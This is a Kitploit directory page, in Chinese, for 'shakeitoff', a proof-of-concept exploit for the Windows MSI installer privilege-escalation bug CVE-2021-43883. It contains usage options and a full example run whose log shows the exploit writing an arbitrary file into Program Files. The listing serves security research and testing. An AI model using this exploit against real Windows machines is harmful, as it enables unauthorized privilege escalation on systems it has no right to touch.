Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
shakeitoff — Windows MSI 安装程序本地提权(CVE-2021-43883) | Kitploit
工具/GitHubGitHub/jbaines-r7/shakeitoff
权限提升漏洞分析漏洞利用渗透测试
GitHubjbaines-r7/shakeitoff

shakeitoff

Windows MSI 安装程序本地提权(CVE-2021-43883)

查看仓库网站
79164年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

shakeitoff

更小、更精简、更干净的 InstallerFileTakeOver 版本,即 CVE-2021-41379 的“变种”零日漏洞(后来被分配为 CVE-2021-43883)。此版本不会像 InstallerFileTakeOver 那样弹出 shell。该代码的目的是创建一个更简单的概念验证,更可靠地演示文件创建攻击。此概念验证将创建用户请求的任意文件(并将自身复制到该文件中以证明可写性)。演示代码执行是一个留给读者的简单练习。

要了解该攻击的工作原理,请参阅 AttackerKB 文章。

用法

该工具需要三个参数:

root@kitploit:~
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create
  1. -m - 要安装的 msi(需要完整路径)。本仓库提供了一个(你应该使用它,因为文件路径实际上很重要)。
  2. -i - 安装路径(需要完整路径)。这是 msi 被安装 / 漏洞利用发生的位置。用户必须事先指定,并且它必须是一个空目录。该工具不会清理它,因为这样更容易弄清 bug。此外,结尾必须有一个 \,因为我就是个怪物。
  3. -p - 要覆盖/创建的文件。需要完整路径。

该 PoC 只会将自身复制到目标文件中。

使用示例

root@kitploit:~
C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

致谢

  • 此代码受到 Abdelhamid Naceri 发布的原始 exploit 的影响(他也是原始漏洞发现者!)。
  • FileOpLock 代码是从 angrypolarbearbug2 中提取的(略有修改)版本。
  • Taylor Swift
下载工具